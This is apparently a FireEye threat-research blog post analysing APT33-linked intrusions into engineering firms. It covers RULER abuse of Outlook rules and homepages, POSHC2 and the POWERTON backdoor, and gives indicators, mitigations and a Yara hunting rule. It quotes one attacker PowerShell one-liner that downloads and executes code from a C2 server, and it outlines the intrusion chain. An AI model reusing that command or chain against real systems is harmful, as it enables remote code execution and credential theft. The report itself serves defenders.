Threat Research

OVERRULED: Containing a Potentially Destructive Adversary

Geoff Ackerman
Dec 21, 2018
16 mins read
Advanced Persistent Threats (APTs)
Threat Research

December 21, 2018 | by Geoff AckermanRick ColeAndrew ThompsonAlex OrleansNick Carr


UPDATE (Jul. 3, 2019): On May 16, 2019 FireEye's Advanced Practices team attributed the remaining "suspected APT33 activity" (referred to as GroupB in this blog post) to APT33, operating at the behest of the Iranian government. The malware and tradecraft in this blog post are consistent with the June 2019 intrusion campaign targeting U.S. federal government agencies and financial, retail, media, and education sectors – as well as U.S. Cyber Command's July 2019 CVE-2017-11774 indicators, which FireEye also attributes to APT33. FireEye's rigorous process for clustering and attributing this activity is also explored in this blog's "Identifying the Overlap" section.


FireEye assesses APT33 may be behind a series of intrusions and attempted intrusions within the engineering industry. Public reporting indicates this activity may be related to recent destructive attacks. FireEye's Managed Defense has responded to and contained numerous intrusions that we assess are related. The actor is leveraging publicly available tools in early phases of the intrusion; however, we have observed them transition to custom implants in later stage activity in an attempt to circumvent our detection.

On Sept. 20, 2017, FireEye Intelligence published a blog post detailing spear phishing activity targeting Energy and Aerospace industries. Recent public reporting indicated possible links between the confirmed APT33 spear phishing and destructive SHAMOON attacks; however, we were unable to independently verify this claim. FireEye’s Advanced Practices team leverages telemetry and aggressive proactive operations to maintain visibility of APT33 and their attempted intrusions against our customers. These efforts enabled us to establish an operational timeline that was consistent with multiple intrusions Managed Defense identified and contained prior to the actor completing their mission. We correlated the intrusions using an internally-developed similarity engine described below. Additionally, public discussions have also indicated that specific attacker infrastructure we observed is possibly related to the recent destructive SHAMOON attacks.

45 days ago, during 24x7 monitoring, #ManagedDefense detected & contained an attempted intrusion from newly-identified adversary infrastructure*.

It is C2 for a code family we track as POWERTON.


— FireEye (@FireEye) December 15, 2018

Identifying the Overlap in Threat Activity

FireEye augments our expertise with an internally-developed similarity engine to evaluate potential associations and relationships between groups and activity. Using concepts from document clustering and topic modeling literature, this engine provides a framework to calculate and discover similarities between groups of activities, and then develop investigative leads for follow-on analysis. Our engine identified similarities between a series of intrusions within the engineering industry. The near real-time results led to an in-depth comparative analysis. FireEye analyzed all available organic information from numerous intrusions and all known APT33 activity. We subsequently concluded, with medium confidence, that two specific early-phase intrusions were the work of a single group. Advanced Practices then reconstructed an operational timeline based on confirmed APT33 activity observed in the last year. We compared that to the timeline of the contained intrusions and determined there were circumstantial overlaps to include remarkable similarities in tool selection during specified timeframes. We assess with low confidence that the intrusions were conducted by APT33. This blog contains original source material only, whereas Finished Intelligence including an all-source analysis is available within our intelligence portal. To best understand the techniques employed by the adversary, it is necessary to provide background on our Managed Defense response to this activity during their 24x7 monitoring.

Managed Defense Rapid Responses: Investigating the Attacker

In mid-November 2017, Managed Defense identified and responded to targeted threat activity at a customer within the engineering industry. The adversary leveraged stolen credentials and a publicly available tool, SensePost’s RULER, to configure a client-side mail rule crafted to download and execute a malicious payload from an adversary-controlled WebDAV server 85.206.161[.]214@443\outlook\live.exe (MD5: 95f3bea43338addc1ad951cd2d42eb6f).

The payload was an AutoIT downloader that retrieved and executed additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm. The follow-on PowerShell profiled the target system’s architecture, downloaded the appropriate variant of PowerSploit (MD5: c326f156657d1c41a9c387415bf779d4 or 0564706ec38d15e981f71eaf474d0ab8), and reflectively loaded PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or 17587668AC577FCE0B278420B8EB72AC). The actor leveraged a publicly available exploit for CVE-2017-0213 to escalate privileges, publicly available Windows SysInternals PROCDUMP to dump the LSASS process, and publicly available MIMIKATZ to presumably steal additional credentials. Managed Defense aided the victim in containing the intrusion.

FireEye collected 168 PUPYRAT samples for a comparison. While import hashes (IMPHASH) are insufficient for attribution, we found it remarkable that out of the specified sampling, the actor’s IMPHASH was found in only six samples, two of which were confirmed to belong to the threat actor observed in Managed Defense, and one which is attributed to APT33. We also determined APT33 likely transitioned from PowerShell EMPIRE to PUPYRAT during this timeframe.

In mid-July of 2018, Managed Defense identified similar targeted threat activity focused against the same industry. The actor leveraged stolen credentials and RULER’s module that exploits CVE-2017-11774 (RULER.HOMEPAGE), modifying numerous users’ Outlook client homepages for code execution and persistence. These methods are further explored in this post in the "RULER In-The-Wild" section.

The actor leveraged this persistence mechanism to download and execute OS-dependent variants of the publicly available .NET POSHC2 backdoor as well as a newly identified PowerShell-based implant self-named POWERTON. Managed Defense rapidly engaged and successfully contained the intrusion. Of note, Advanced Practices separately established that APT33 began using POSHC2 as of at least July 2, 2018, and continued to use it throughout the duration of 2018.

During the July activity, Managed Defense observed three variations of the homepage exploit hosted at hxxp://91.235.116[.]212/index.html. One example is shown in Figure 1.


Figure 1: Attacker’s homepage exploit (CVE-2017-11774)

The main encoded payload within each exploit leveraged WMIC to conduct system profiling in order to determine the appropriate OS-dependent POSHC2 implant and dropped to disk a PowerShell script named “Media.ps1” within the user’s %LOCALAPPDATA% directory (%LOCALAPPDATA%\MediaWs\Media.ps1) as shown in Figure 2.


Figure 2: Attacker’s “Media.ps1” script

The purpose of “Media.ps1” was to decode and execute the downloaded binary payload, which was written to disk as “C:\Users\Public\Downloads\log.dat”. At a later stage, this PowerShell script would be configured to persist on the host via a registry Run key.

Analysis of the “log.dat” payloads determined them to be variants of the publicly available POSHC2 proxy-aware stager written to download and execute PowerShell payloads from a hardcoded command and control (C2) address. These particular POSHC2 samples run on the .NET framework and dynamically load payloads from Base64 encoded strings. The implant will send a reconnaissance report via HTTP to the C2 server (hxxps://51.254.71[.]223/images/static/content/) and subsequently evaluate the response as PowerShell source code. The reconnaissance report contains the following information:

  • Username and domain
  • Computer name
  • CPU details
  • Current exe PID
  • Configured C2 server

The C2 messages are encrypted via AES using a hardcoded key and encoded with Base64. It is this POSHC2 binary that established persistence for the aforementioned “Media.ps1” PowerShell script, which then decodes and executes the POSHC2 binary upon system startup. During the identified July 2018 activity, the POSHC2 variants were configured with a kill date of July 29, 2018.

POSHC2 was leveraged to download and execute a new PowerShell-based implant self-named POWERTON (hxxps://185.161.209[.]172/api/info). The adversary had limited success with interacting with POWERTON during this time.  The actor was able to download and establish persistence for an AutoIt binary named “ClouldPackage.exe” (MD5: 46038aa5b21b940099b0db413fa62687), which was achieved via the POWERTON “persist” command. The sole functionality of “ClouldPackage.exe” was to execute the following line of PowerShell code:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; $webclient = new-object System.Net.WebClient; $webclient.Credentials = new-object System.Net.NetworkCredential('public', 'fN^4zJp{5w#K0VUm}Z_a!QXr*]&2j8Ye'); iex $webclient.DownloadString('hxxps://185.161.209[.]172/api/default')

The purpose of this code is to retrieve “silent mode” POWERTON from the C2 server. Note the actor protected their follow-on payloads with strong credentials. Shortly after this, Managed Defense contained the intrusion.

Starting approximately three weeks later, the actor reestablished access through a successful password spray. Managed Defense immediately identified the actor deploying malicious homepages with RULER to persist on workstations. They made some infrastructure and tooling changes to include additional layers of obfuscation in an attempt to avoid detection. The actor hosted their homepage exploit at a new C2 server (hxxp://5.79.66[.]241/index.html). At least three new variations of “index.html” were identified during this period. Two of these variations contained encoded PowerShell code written to download new OS-dependent variants of the .NET POSHC2 binaries, as seen in Figure 3.


Figure 3: OS-specific POSHC2 Downloader

Figure 3 shows that the actor made some minor changes, such as encoding the PowerShell "DownloadString" commands and renaming the resulting POSHC2 and .ps1 files dropped to disk. Once decoded, the commands will attempt to download the POSHC2 binaries from yet another new C2 server (hxxp://103.236.149[.]124/delivered.dat). The name of the .ps1 file dropped to decode and execute the POSHC2 variant also changed to “Vision.ps1”.  During this August 2018 activity, the POSHC2 variants were configured with a “kill date” of Aug. 13, 2018. Note that POSHC2 supports a kill date in order to guardrail an intrusion by time and this functionality is built into the framework.

Once again, POSHC2 was used to download a new variant of POWERTON (MD5: c38069d0bc79acdc28af3820c1123e53), configured to communicate with the C2 domain hxxps://basepack[.]org. At one point in late-August, after the POSHC2 kill date, the adversary used RULER.HOMEPAGE to directly download POWERTON, bypassing the intermediary stages previously observed.

Due to Managed Defense’s early containment of these intrusions, we were unable to ascertain the actor’s motivations; however, it was clear they were adamant about gaining and maintaining access to the victim’s network.

Adversary Pursuit: Infrastructure Monitoring

Advanced Practices conducts aggressive proactive operations in order to identify and monitor adversary infrastructure at scale. The adversary maintained a RULER.HOMEPAGE payload at hxxp://91.235.116[.]212/index.html between July 16 and Oct. 11, 2018. On at least Oct. 11, 2018, the adversary changed the payload (MD5: 8be06571e915ae3f76901d52068e3498) to download and execute a POWERTON sample from hxxps://103.236.149[.]100/api/info (MD5: 4047e238bbcec147f8b97d849ef40ce5). This specific URL was identified in a public discussion as possibly related to recent destructive attacks. We are unable to independently verify this correlation with any organic information we possess.

On Dec. 13, 2018, Advanced Practices proactively identified and attributed a malicious RULER.HOMEPAGE payload hosted at hxxp://89.45.35[.]235/index.html (MD5: f0fe6e9dde998907af76d91ba8f68a05). The payload was crafted to download and execute POWERTON hosted at hxxps://staffmusic[.]org/transfer/view (MD5: 53ae59ed03fa5df3bf738bc0775a91d9).

Table 1 contains the operational timeline for the activity we analyzed.




2017-08-15 17:06:59

APT33 – EMPIRE (Used)


2017-09-15 16:49:59

APT33 – PUPYRAT (Compiled)


2017-11-12 20:42:43

GroupA – AUT2EXE Downloader (Compiled)


2017-11-14 14:55:14

GroupA – PUPYRAT (Used)


2018-01-09 19:15:16

APT33 – PUPYRAT (Compiled)


2018-02-13 13:35:06

APT33 – PUPYRAT (Used)


2018-05-09 18:28:43

GroupB – AUT2EXE (Compiled)


2018-07-02 07:57:40

APT33 – POSHC2 (Used)


2018-07-16 00:33:01

GroupB – POSHC2 (Compiled)


2018-07-16 01:39:58

GroupB – POSHC2 (Used)


2018-07-16 08:36:13

GroupB – POWERTON (Used)


2018-07-31 22:09:25

APT33 – POSHC2 (Used)


2018-08-06 16:27:05

GroupB – POSHC2 (Compiled)


2018-08-07 05:10:05

GroupB – POSHC2 (Used)


2018-08-29 18:14:18

APT33 – POSHC2 (Used)


2018-10-09 16:02:55

APT33 – POSHC2 (Used)


2018-10-09 16:48:09

APT33 – POSHC2 (Used)


2018-10-11 21:29:22

GroupB – POWERTON (Used)


2018-12-13 11:00:00

GroupB – POWERTON (Identified)


Table 1: Operational Timeline

Outlook and Implications

If the activities observed during these intrusions are linked to APT33, it would suggest that APT33 has likely maintained proprietary capabilities we had not previously observed until sustained pressure from Managed Defense forced their use. FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. This risk is pronounced in the energy sector, which we consistently observe them target. That targeting aligns with Iranian national priorities for economic growth and competitive advantage, especially relating to petrochemical production.

We will continue to track these clusters independently until we achieve high confidence that they are the same. The operators behind each of the described intrusions are using publicly available but not widely understood tools and techniques in addition to proprietary implants as needed. Managed Defense has the privilege of being exposed to intrusion activity every day across a wide spectrum of industries and adversaries. This daily front line experience is backed by Advanced Practices, FireEye Labs Advanced Reverse Engineering (FLARE), and FireEye Intelligence to give our clients every advantage they can have against sophisticated adversaries. We welcome additional original source information we can evaluate to confirm or refute our analytical judgements on attribution.

Custom Backdoor: POWERTON

POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. POWERTON is designed to support multiple persistence mechanisms, including WMI and auto-run registry key. Communications with the C2 are over TCP/HTTP(S) and leverage AES encryption for communication traffic to and from the C2. POWERTON typically gets deployed as a later stage backdoor and is obfuscated several layers.

FireEye has witnessed at least two separate versions of POWERTON, tracked separately as POWERTON.v1 and POWERTON.v2, wherein the latter has improved its command and control functionality, and integrated the ability to dump password hashes.

Table 2 contains samples of POWERTON.

Hash of Obfuscated File (MD5)

Hash of Deobfuscated File (MD5)























Table 2: POWERTON malware samples

Adversary Methods: Email Exploitation on the Rise

Outlook and Exchange are ubiquitous with the concept of email access. User convenience is a primary driver behind technological advancements, but convenient access for users often reveals additional attack surface for adversaries. As organizations expose any email server access to the public internet for its users, those systems become intrusion vectors. FireEye has observed an increase in targeted adversaries challenging and subverting security controls on Exchange and Office365. Our Mandiant consultants also presented several new methods used by adversaries to subvert multifactor authentication at FireEye Cyber Defense Summit 2018.

At FireEye, our decisions are data driven, but data provided to us is often incomplete and missing pieces must be inferred based on our expertise in order for us to respond to intrusions effectively. A plausible scenario for exploitation of this vector is as follows.

An adversary has a single pair of valid credentials for a user within your organization obtained through any means, to include the following non-exhaustive examples:

  • Third party breaches where your users have re-used credentials; does your enterprise leverage a naming standard for email addresses such as first.last@yourorganization.tld? It is possible that a user within your organization has a personal email address with a first and last name--and an affiliated password--compromised in a third-party breach somewhere. Did they re-use that password?
  • Previous compromise within your organization where credentials were compromised but not identified or reset.
  • Poor password choice or password security policies resulting in brute-forced credentials.
  • Gathering of crackable password hashes from various other sources, such as NTLM hashes gathered via documents intended to phish them from users.
  • Credential harvesting phishing scams, where harvested credentials may be sold, re-used, or documented permanently elsewhere on the internet.

Once the adversary has legitimate credentials, they identify publicly accessible Outlook Web Access (OWA) or Office 365 that is not protected with multi-factor authentication. The adversary leverages the stolen credentials and a tool like RULER to deliver exploits through Exchange’s legitimate features.

RULER In-The-Wild: Here, There, and Everywhere

SensePost’s RULER is a tool designed to interact with Exchange servers via a messaging application programming interface (MAPI), or via remote procedure calls (RPC), both over HTTP protocol. As detailed in the "Managed Defense Rapid Responses" section, in mid-November 2017, FireEye witnessed network activity generated by an existing Outlook email client process on a single host, indicating connection via Web Distributed Authoring and Versioning (WebDAV) to an adversary-controlled IP address 85.206.161[.]214. This communication retrieved an executable created with Aut2Exe (MD5: 95f3bea43338addc1ad951cd2d42eb6f), and executed a PowerShell one-liner to retrieve further malicious content.

Without the requisite logging from the impacted mailbox, we can still assess that this activity was the result of a malicious mail rule created using the aforementioned tooling for the following reasons:

  • Outlook.exe directly requested the malicious executable hosted at the adversary IP address over WebDAV. This is unexpected unless some feature of Outlook directly was exploited; traditional vectors like phishing would show a process ancestry where Outlook spawned a child process of an Office product, Acrobat, or something similar. Process injection would imply prior malicious code execution on the host, which evidence did not support.
  • The transfer of 95f3bea43338addc1ad951cd2d42eb6f was over WebDAV. RULER facilitates this by exposing a simple WebDAV server, and a command line module for creating a client-side mail rule to point at that WebDAV hosted payload.
  • The choice of WebDAV for this initial transfer of stager is the result of restrictions in mail rule creation; the payload must be "locally" accessible before the rule can be saved, meaning protocol handlers for something like HTTP or FTP are not permitted. This is thoroughly detailed in Silent Break Security's initial write-up prior to RULER’s creation. This leaves SMB and WebDAV via UNC file pathing as the available options for transferring your malicious payload via an Outlook Rule. WebDAV is likely the less alerting option from a networking perspective, as one is more likely to find WebDAV transactions occurring over ports 80 and 443 to the internet than they are to find a domain joined host communicating via SMB to a non-domain joined host at an arbitrary IP address.
  • The payload to be executed via Outlook client-side mail rule must contain no arguments, which is likely why a compiled Aut2exe executable was chosen. 95f3bea43338addc1ad951cd2d42eb6f does nothing but execute a PowerShell one-liner to retrieve additional malicious content for execution. However, execution of this command natively using an Outlook rule was not possible due to this limitation.

With that in mind, the initial infection vector is illustrated in Figure 4.


Figure 4: Initial infection vector

As both attackers and defenders continue to explore email security, publicly-released techniques and exploits are quickly adopted. SensePost's identification and responsible disclosure of CVE-2017-11774 was no different. For an excellent description of abusing Outlook's home page for shell and persistence from an attacker’s perspective, refer to SensePost's blog.

FireEye has observed and documented an uptick in several malicious attackers' usage of this specific home page exploitation technique. Based on our experience, this particular method may be more successful due to defenders misinterpreting artifacts and focusing on incorrect mitigations. This is understandable, as some defenders may first learn of successful CVE-2017-11774 exploitation when observing Outlook spawning processes resulting in malicious code execution. When this observation is combined with standalone forensic artifacts that may look similar to malicious HTML Application (.hta) attachments, the evidence may be misinterpreted as initial infection via a phishing email. This incorrect assumption overlooks the fact that attackers require valid credentials to deploy CVE-2017-11774, and thus the scope of the compromise may be greater than individual users' Outlook clients where home page persistence is discovered. To assist defenders, we're including a Yara rule to differentiate these Outlook home page payloads at the end of this post.

Understanding this nuance further highlights the exposure to this technique when combined with password spraying as documented with this attacker, and underscores the importance of layered email security defenses, including multi-factor authentication and patch management. We recommend the organizations reduce their email attack surface as much as possible. Of note, organizations that choose to host their email with a cloud service provider must still ensure the software clients used to access that server are patched. Beyond implementing multi-factor authentication for Outlook 365/Exchange access, the Microsoft security updates in Table 3 will assist in mitigating known and documented attack vectors that are exposed for exploitation by toolkits such as SensePost’s RULER.

Microsoft Outlook Security Update

RULER Module Addressed

June 13, 2017 Security Update


September 12, 2017 Security Update


October 10, 2017 Security Update


Table 3: Outlook attack surface mitigations

Detecting the Techniques

FireEye detected this activity across our platform, including named detection for POSHC2, PUPYRAT, and POWERTON. Table 4 contains several specific detection names that applied to the email exploitation and initial infection activity.



Endpoint Security


Network and Email Security

HackTool.RULER (Network Traffic)

Table 4: FireEye product detections

For organizations interested in hunting for Outlook home page shell and persistence, we’ve included a Yara rule that can also be used for context to differentiate these payloads from other scripts:

rule Hunting_Outlook_Homepage_Shell_and_Persistence
        author = "Nick Carr (@itsreallynick)"
        reference_hash = "506fe019d48ff23fac8ae3b6dd754f6e"
        $script_1 = "<htm" ascii nocase wide
        $script_2 = "<script" ascii nocase wide
        $viewctl1_a = "ViewCtl1" ascii nocase wide
        $viewctl1_b = "0006F063-0000-0000-C000-000000000046" ascii wide
        $viewctl1_c = ".OutlookApplication" ascii nocase wide
        uint16(0) != 0x5A4D and all of ($script*) and any of ($viewctl1*)


The authors would like to thank Matt Berninger for providing data science support for attribution augmentation projects, Omar Sardar (FLARE) for reverse engineering POWERTON, and Joseph Reyes (FireEye Labs) for continued comprehensive Outlook client exploitation product coverage.